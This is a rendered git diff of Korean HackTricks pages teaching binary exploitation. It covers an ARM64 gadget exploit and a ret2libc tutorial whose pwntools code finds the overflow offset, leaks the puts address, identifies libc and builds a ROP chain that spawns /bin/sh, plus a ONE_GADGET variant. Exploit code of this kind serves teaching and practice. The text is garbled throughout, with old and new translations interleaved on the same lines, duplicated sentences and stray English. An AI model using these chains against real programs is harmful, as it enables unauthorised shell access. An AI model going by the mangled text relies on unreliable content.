### Exploit 이 가젯은 **`$sp + 0x78`**에서 `x0`를 로드한 다음, sp에서 x29와 x30의 주소를 로드하고 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프할 수 있습니다**.
이 가젯은 `$sp + 0x78`에서 `x0`을 로드한 다음 sp에서 x29 및 x30 주소를 로드하여 x30으로 점프합니다. 따라서이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프**할 수 있습니다. ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -210,16 +213,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>영웨이에스 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
다른 방법으로 HackTricks를 지원하는 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# ROP을 사용하여 libc 주소 누출 # ROP을 이용한 libc 주소 유출
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!<strong></strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 홍보하거나 PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 확인하세요.
</details> </details>
{% endhint %}
## 빠른 요약 ## 간단한 요약
1. **오버플로우 오프셋** 찾기 1. **오버플로우 오프셋 찾기**
2. `POP_RDI` 가젯, `PUTS_PLT``MAIN` 가젯 찾기 2. **`POP_RDI` 가젯, `PUTS_PLT``MAIN` 가젯 찾기**
3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 메모리 주소를 **누출**하고 **libc 버전을 찾기** ([다운로드](https://libc.blukat.me)) 3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 **메모리 주소를 유출하고** **libc 버전 찾기** ([다운로드하기](https://libc.blukat.me))
4. 라이브러리를 사용하여 ROP를 계산하고 이를 악용하기 4. 라이브러리를 사용하여 **ROP를 계산하고 이를 이용해 공격하기**
## 연습할 다른 자습서 및 이진 파일 ## 연습할 다른 튜토리얼 및 바이너리
자습서는 이 자습서에서 제안된 코드/바이너리를 악용할 것입니다: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ 튜토리얼은 다음 튜토리얼에서 제안된 코드/바이너리를 이용해 공격할 것입니다: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
다른 유용한 자습서: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) 또 다른 유용한 튜토리얼: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
## 코드 ## 코드
파일: `vuln.c` 파일 이름: `vuln.c`
```c ```c
#include <stdio.h> #include <stdio.h>
@ -44,9 +45,9 @@ return 0;
```bash ```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie gcc -o vuln vuln.c -fno-stack-protector -no-pie
``` ```
## ROP - LIBC 주소 노출 템플릿 ## ROP - LIBC 출 템플릿
해킹 도구를 다운로드하고 취약한 이진 파일과 동일한 디렉토리에 넣은 후 스크립트에 필요한 데이터를 제공하십시오: 익스플로잇을 다운로드하고 취약한 바이너리와 동일한 디렉토리에 배치한 후 스크립트에 필요한 데이터를 제공합니다:
{% content-ref url="rop-leaking-libc-template.md" %} {% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md) [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
@ -54,7 +55,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
## 1- 오프셋 찾기 ## 1- 오프셋 찾기
템플릿은 공격을 계속하기 전에 오프셋이 필요합니다. 제공된 경우 필요한 코드를 실행하여 오프셋을 찾습니다 (기본값 `OFFSET = ""`): 템플릿은 익스플로잇을 계속 진행하기 전에 오프셋이 필요합니다. 제공된 경우, 필요한 코드를 실행하여 오프셋을 찾습니다 (기본값 `OFFSET = ""`):
```bash ```bash
################### ###################
### Find offset ### ### Find offset ###
@ -69,21 +70,21 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes #cyclic_find(0x6161616b) # Find the offset of those bytes
return return
``` ```
**실행** `python template.py`를 하면 프로그램이 충돌한 상태로 GDB 콘솔이 열립니다. 해당 **GDB 콘솔**에서 `x/wx $rsp`를 실행하여 RIP를 덮어쓸 **바이트**를 얻습니다. 마지막으로 **파이썬** 콘솔을 사용하여 **오프셋**을 구합니다: **실행** `python template.py` 하면 프로그램이 충돌하는 GDB 콘솔이 열립니다. 그 **GDB 콘솔** 안에서 `x/wx $rsp`를 실행하여 RIP를 덮어쓸 **바이트**를 가져옵니다. 마지막으로 **파이썬** 콘솔을 사용하여 **오프셋**을 가져옵니다:
```python ```python
from pwn import * from pwn import *
cyclic_find(0x6161616b) cyclic_find(0x6161616b)
``` ```
![](<../../../../.gitbook/assets/image (1007).png>) ![](<../../../../.gitbook/assets/image (1007).png>)
오프셋을 찾은 후 (이 경우 40) 해당 값을 사용하여 템플릿 내의 OFFSET 변수를 변경합니다.\ 오프셋(이 경우 40)을 찾은 후, 해당 값을 사용하여 템플릿 내의 OFFSET 변수를 변경합니다.\
`OFFSET = "A" * 40` `OFFSET = "A" * 40`
다른 방법은 `pattern create 1000`을 사용하는 것입니다. -- _ret까지 실행_ -- GEF에서 `pattern search $rsp`를 사용합니다. 또 다른 방법은: `pattern create 1000` -- _ret까지 실행_ -- `pattern seach $rsp`를 GEF에서 사용하는 것입니다.
## 2- 가젯 찾기 ## 2- 가젯 찾기
이제 이진 파일 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 **사용 중인 libc**를 찾기 위해 `puts`를 호출하는 데 유용하며, 나중에 **최종 공격을 실행**하는 데 사용될 것입니다. 이제 바이너리 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 `puts`를 호출하여 사용 중인 **libc**를 찾고, 나중에 **최종 익스플로잇을 실행**하는 데 유용합니다.
```python ```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main'] MAIN_PLT = elf.symbols['main']
@ -94,15 +95,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT)) log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("pop rdi; ret gadget: " + hex(POP_RDI))
``` ```
`PUTS_PLT`는 **puts 함수**를 호출하기 위해 필요합니다.\ `PUTS_PLT`는 **함수 puts**를 호출하는 데 필요합니다.\
`MAIN_PLT`**exploit**을 **다시** 사용하여 **overflow**를 **다시** 호출하기 위해 **main 함수**를 호출해야 합니다 (exploitation의 무한 라운드). **각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다**.\ `MAIN_PLT`**오버플로우를 다시 이용하기 위해** 한 번의 상호작용 후에 **main 함수**를 다시 호출하는 데 필요합니다 (무한한 공격 라운드). **각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다.**\
**POP\_RDI**는 **호출된 함수에 매개변수를 전달**하기 위해 필요합니다. **POP\_RDI**는 호출된 함수에 **매개변수****전달하기 위해** 필요합니다.
이 단계에서는 실행할 필요가 없습니다. 모든 것은 실행 중에 pwntools에 의해 찾아질 것입니다. 이 단계에서는 pwntools가 실행 중에 모든 것을 찾기 때문에 아무것도 실행할 필요가 없습니다.
## 3- libc 라이브러리 찾기 ## 3- libc 라이브러리 찾기
이제 사용 중인 **libc** 라이브러리 버전을 찾을 시간입니다. 이를 위해 **메모리**에서 **puts 함수**의 **주소**를 **leak**하고, 그 주소에 있는 **puts 버전이 있는 라이브러리 버전**을 **검색**할 것입니다. 이제 어떤 버전의 **libc** 라이브러리가 사용되고 있는지 찾을 시간입니다. 그렇게 하기 위해 우리는 **함수** `puts`의 메모리 내 **주소**를 **leak**한 다음, 해당 주소에서 puts 버전이 포함된 **라이브러리 버전**을 **검색**할 것입니다.
```python ```python
def get_addr(func_name): def get_addr(func_name):
FUNC_GOT = elf.got[func_name] FUNC_GOT = elf.got[func_name]
@ -131,50 +132,51 @@ if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive() p.interactive()
``` ```
를 위해 실행된 코드의 가장 중요한 줄은 다음과 같습니다: 렇게 하려면 실행된 코드에서 가장 중요한 줄은:
```python ```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
``` ```
는 **RIP**를 덮어쓸 수 있는 바이트를 보내게 됩니다: `OFFSET`.\ 것은 **RIP**를 **덮어쓰기**할 수 있을 때까지 몇 바이트를 전송할 것입니다: `OFFSET`.\
그런 다음, `POP_RDI` 가젯의 **주소**를 설정하여 다음 주소(`FUNC_GOT`)가 **RDI** 레지스터에 저장됩니다. 이는 `PUTS_GOT`의 **주소**를 **전달**하기 위해 **puts를 호출**하려고 하기 때문입니다. 메모리 주소에 있는 puts 함수의 주소가 `PUTS_GOT`가 가리키는 주소에 저장되어 있기 때문입니다.\ 그런 다음, **RDI** 레지스터에 다음 주소(`FUNC_GOT`)가 저장되도록 `POP_RDI` 가젯의 **주소**를 설정합니다. 이는 우리가 **puts**를 **호출**하고 `PUTS_GOT`의 **주소**를 전달하기를 원하기 때문입니다. `puts` 함수의 메모리 주소는 `PUTS_GOT`가 가리키는 주소에 저장됩니다.\
이후, `PUTS_PLT`가 호출될 것입니다 (`PUTS_GOT`이 **RDI** 안에 있음) 따라서 puts는 `PUTS_GOT` 안에 있는 내용(**메모리에 있는 puts 함수의 주소**)을 **읽고 출력**할 것입니다.\ 그 후, `PUTS_PLT`가 호출될 것이며(여기서 **RDI** 안에 `PUTS_GOT`가 있습니다) puts는 `PUTS_GOT` 안의 내용을 **읽고** (**메모리에서 puts 함수의 주소**) **출력**할 것입니다.\
마지막으로, **main 함수가 다시 호출**되므로 우리는 다시 오버플로우를 이용할 수 있습니다. 마지막으로, **main 함수가 다시 호출**되어 우리는 오버플로우를 다시 이용할 수 있습니다.
이렇게 함으로써 우리는 **puts 함수를 속이고** **메모리**에 있는 **puts 함수의 주소**를 출력하게 했습니다(이는 **libc** 라이브러리 내부에 있습니다). 이제 해당 주소를 통해 **어떤 libc 버전이 사용 중인지 찾을 수 있습니다**. 이렇게 우리는 **puts 함수**를 **속여서** **메모리**에서 **puts** 함수의 **주소**를 **출력**하게 했습니다(이는 **libc** 라이브러리 안에 있습니다). 이제 그 주소를 알았으니 **어떤 libc 버전이 사용되고 있는지** **검색**할 수 있습니다.
![](<../../../../.gitbook/assets/image (1049).png>) ![](<../../../../.gitbook/assets/image (1049).png>)
우리**로컬** 바이너리를 **exploiting** 하고 있기 때문에 **libc**의 어떤 버전이 사용 중인지 알 필요가 없습니다(`/lib/x86_64-linux-gnu/libc.so.6`에서 라이브러리를 찾기만 하면 됩니다).\ 우리**로컬** 바이너리를 **악용**하고 있기 때문에 어떤 버전의 **libc**가 사용되고 있는지 알아낼 필요는 없습니다(단지 `/lib/x86_64-linux-gnu/libc.so.6`에서 라이브러리를 찾으면 됩니다).\
그러나 원격 exploit 경우에는 어떻게 찾을 수 있는지 여기서 설명하겠습니다: 하지만 원격 익스플로잇의 경우, 여기서 어떻게 찾을 수 있는지 설명하겠습니다:
### 3.1- libc 버전 검색 (1) ### 3.1- libc 버전 검색 (1)
다음 웹페이지에서 사용 중인 라이브러리를 검색할 수 있습니다: [https://libc.blukat.me/](https://libc.blukat.me)\ 웹 페이지에서 어떤 라이브러리가 사용되고 있는지 검색할 수 있습니다: [https://libc.blukat.me/](https://libc.blukat.me)\
이는 발견된 **libc** 버전을 다운로드할 수 있게 해줍니다 사이트는 발견된 **libc** 버전을 다운로드할 수 있도록 해줍니다.
![](<../../../../.gitbook/assets/image (221).png>) ![](<../../../../.gitbook/assets/image (221).png>)
### 3.2- libc 버전 검색 (2) ### 3.2- libc 버전 검색 (2)
또한 다음을 수행할 수 있습니다: 다음과 같이 할 수도 있습니다:
* `$ git clone https://github.com/niklasb/libc-database.git` * `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database` * `$ cd libc-database`
* `$ ./get` * `$ ./get`
이 작업에는 시간이 걸릴 수 있으니 기다려 주세요.\ 이 작업은 시간이 걸릴 수 있으니 인내심을 가지세요.\
이 작업을 위해 필요한 것은: 이 작업이 작동하려면 다음이 필요합니다:
* Libc 심볼 이름: `puts` * Libc 심볼 이름: `puts`
* 출된 libc 주소: `0x7ff629878690` * 출된 libc 주소: `0x7ff629878690`
가장 가능성이 높은 **libc**를 알 수 있습니다. 우리는 어떤 **libc**가 사용되고 있는지 알아낼 수 있습니다.
```bash ```bash
./find puts 0x7ff629878690 ./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64)
``` ```
우리는 2개의 매치를 얻었습니다 (첫 번째가 작동하지 않으면 두 번째를 시도해보세요). 첫 번째 것을 다운로드하세요: We get 2 matches (you should try the second one if the first one is not working). Download the first one:
우리는 2개의 일치를 얻습니다(첫 번째가 작동하지 않으면 두 번째를 시도해야 합니다). 첫 번째 것을 다운로드하세요:
```bash ```bash
./download libc6_2.23-0ubuntu10_amd64 ./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64
@ -183,9 +185,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package -> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
``` ```
### 3.3- 릭을 위한 다른 함수들 `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`에서 libc를 복사하여 작업 디렉토리에 저장합니다.
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`에서 libc를 우리 작업 디렉토리로 복사합니다. ### 3.3- 누출할 다른 함수들
```python ```python
puts puts
printf printf
@ -193,25 +195,25 @@ __libc_start_main
read read
gets gets
``` ```
## 4- libc 주소 찾기 및 이용 ## 4- Finding based libc address & exploiting
이 시점에서 우리는 사용된 libc 라이브러리를 알아야 합니다. 로컬 이진 파일을 이용하고 있기 때문에, `/lib/x86_64-linux-gnu/libc.so.6`를 사용할 것입니다. 이 시점에서 우리는 사용된 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 익스플로잇하고 있으므로 나는 단지:`/lib/x86_64-linux-gnu/libc.so.6`를 사용할 것입니다.
그래서, `template.py`의 시작 부분에서 **libc** 변수를 다음과 같이 변경하십시오: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` 따라서 `template.py`의 시작 부분에서 **libc** 변수를 다음으로 변경하십시오: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
**libc 라이브러리의 경로**를 제공하면 **나머지 exploit은 자동으로 계산**될 것입니다. **libc 라이브러리**에 **경로**를 제공하면 나머지 **익스플로잇이 자동으로 계산될 것입니다**.
`get_addr` 함수 내에서 **libc의 베이스 주소**가 계산될 것입니다: `get_addr` 함수 내에서 **libc의 기본 주소**가 계산될 것입니다:
```python ```python
if libc != "": if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address)) log.info("libc base @ %s" % hex(libc.address))
``` ```
{% hint style="info" %} {% hint style="info" %}
**최종 libc 기본 주소는 반드시 00으로 끝나야** 합니다. 그렇지 않은 경우 잘못된 라이브러리를 노출할 수 있습니다. **최종 libc 기본 주소는 00으로 끝나야 합니다.** 그렇지 않은 경우 잘못된 라이브러리를 유출했을 수 있습니다.
{% endhint %} {% endhint %}
그런 다음 `system` 함수의 주소와 _"/bin/sh"_ 문자열의 **주소**는 **libc**의 **기본 주소**에서 **계산**되며 주어진 **libc 라이브러리**를 사용합니다. 그런 다음, 함수 `system`의 주소와 문자열 _"/bin/sh"_의 **주소**는 **libc**의 **기본 주소**에서 **계산**됩니다. 그리고 **libc 라이브러리**가 제공됩니다.
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"] SYSTEM = libc.sym["system"]
@ -220,7 +222,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH)) log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM)) log.info("system %s " % hex(SYSTEM))
``` ```
침내, /bin/sh 실행 exploit이 준비되어 전송될 것입니다: 지막으로, /bin/sh 실행 익스플로잇이 준비될 것입니다:
```python ```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -230,19 +232,18 @@ p.sendline(rop2)
#### Interact with the shell ##### #### Interact with the shell #####
p.interactive() #Interact with the conenction p.interactive() #Interact with the conenction
``` ```
## 최종 ROP 설명 Let's explain this final ROP.\
마지막 ROP(`rop1`)은 다시 main 함수를 호출하며 끝났습니다. 그러므로 우리는 **다시 이용할 수 있습니다** **오버플로우**(그래서 `OFFSET`이 여기 다시 있는 것입니다). 그런 다음, 우리는 `POP_RDI`를 호출하여 **주소**를 _"/bin/sh"_(`BINSH`)로 지정하고 **system** 함수(`SYSTEM`)를 호출하고자 합니다. 왜냐하면 _"/bin/sh"_의 주소가 매개변수로 전달될 것이기 때문입니다.\
마지막으로, **exit 함수의 주소**가 **호출**되어 프로세스가 **정상적으로 종료**되고 어떤 경고도 생성되지 않습니다.
마지막 ROP(`rop1`)은 다시 main 함수를 호출하여 **다시 exploit**할 수 있습니다(그래서 `OFFSET`이 다시 나타납니다). 그런 다음, _"/bin/sh"_의 **주소**(`BINSH`)를 가리키는 `POP_RDI`를 호출하고 **system** 함수(`SYSTEM`)를 호출하여 _"/bin/sh"_의 주소가 매개변수로 전달되도록 합니다.\ **이렇게 하면 익스플로잇이 \_/bin/sh**\_\*\* 셸을 실행합니다.\*\*
마지막으로 **exit 함수의 주소**가 **호출**되어 프로세스가 **잘 종료**되고 어떤 경고도 발생하지 않습니다.
**이렇게 하면 exploit이 \_/bin/sh**\_\*\* 쉘을 실행**합니다.\*\*
![](<../../../../.gitbook/assets/image (165).png>) ![](<../../../../.gitbook/assets/image (165).png>)
## 4(2)- ONE\_GADGET 사용 ## 4(2)- ONE\_GADGET 사용하기
**ONE\_GADGET**을 사용하여 **system****"/bin/sh"** 대신 쉘을 얻을 수도 있습니다. **ONE\_GADGET**은 libc 라이브러리 내에서 하나의 **ROP 주소**만 사용하여 쉘을 얻는 방법을 찾아줍니다.\ 대신 **system**과 **"/bin/sh"**를 사용하는 대신 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget)를 사용하여 셸을 얻을 수도 있습니다. **ONE\_GADGET**은 libc 라이브러리 내에서 단 하나의 **ROP 주소**만으로 셸을 얻는 방법을 찾습니다.\
그러나 일반적으로 `[rsp+0x30] == NULL`와 같은 제약 조건이 있습니다. **RSP** 내의 값을 제어할 수 있기 때문에 더 많은 NULL 값을 보내 제약 조건을 피할 수 있습니다. 그러나 일반적으로 몇 가지 제약이 있으며, 가장 일반적이고 피하기 쉬운 것은 `[rsp+0x30] == NULL`입니다. **RSP** 내부의 값을 제어하므로 제약을 피하기 위해 추가적인 NULL 값을 보내기만 하면 됩니다.
![](<../../../../.gitbook/assets/image (754).png>) ![](<../../../../.gitbook/assets/image (754).png>)
```python ```python
@ -251,48 +252,49 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
``` ```
## EXPLOIT FILE ## EXPLOIT FILE
이 취약점을 악용하는 템플릿을 다음에서 찾을 수 있습니다: 이 취약점을 악용하기 위한 템플릿은 여기에서 찾을 수 있습니다:
{% content-ref url="rop-leaking-libc-template.md" %} {% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md) [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %} {% endcontent-ref %}
## 일반적인 문제 ## Common problems
### MAIN\_PLT = elf.symbols\['main']를 찾을 수 없음 ### MAIN\_PLT = elf.symbols\['main'] not found
"main" 심볼이 존재하지 않는 경우. 그럼 main 코드가 어디에 있는지 찾을 수 있습니다: "main" 심볼이 존재하지 않는 경우, 메인 코드가 어디에 있는지 찾을 수 있습니다:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
그리고 주소를 수동으로 설정하십시오: 그리고 주소를 수동으로 설정합니다:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Puts를 찾을 수 없음 ### Puts not found
만약 이진 파일이 Puts를 사용하지 않는다면 다음을 확인해야 합니다. 이진 파일이 Puts를 사용하지 않는 경우 다음을 확인해야 합니다.
### `sh: 1: %s%s%s%s%s%s%s%s: not found` ### `sh: 1: %s%s%s%s%s%s%s%s: not found`
모든 exploit을 생성한 후에 이 **에러**를 발견한다면: `sh: 1: %s%s%s%s%s%s%s%s: not found` 모든 익스플로잇을 생성한 후 이 **오류**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: not found`
**"/bin/sh" 주소에서 64바이트를 빼보세요**: **"/bin/sh" 주소에서 64 바이트를 빼보세요**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 제로부터 영웅이 되는 AWS 해킹 배우기</summary> <summary>HackTricks 지원하</summary>
다른 방법으로 HackTricks를 지원하는 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* 여러분의 해킹 기교를 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# libc 누출 - 템플릿 # libc 유출 - 템플릿
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기</strong>!</summary> <summary>HackTricks 지원하기</summary>
다른 방법으로 HackTricks를 지원하는 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
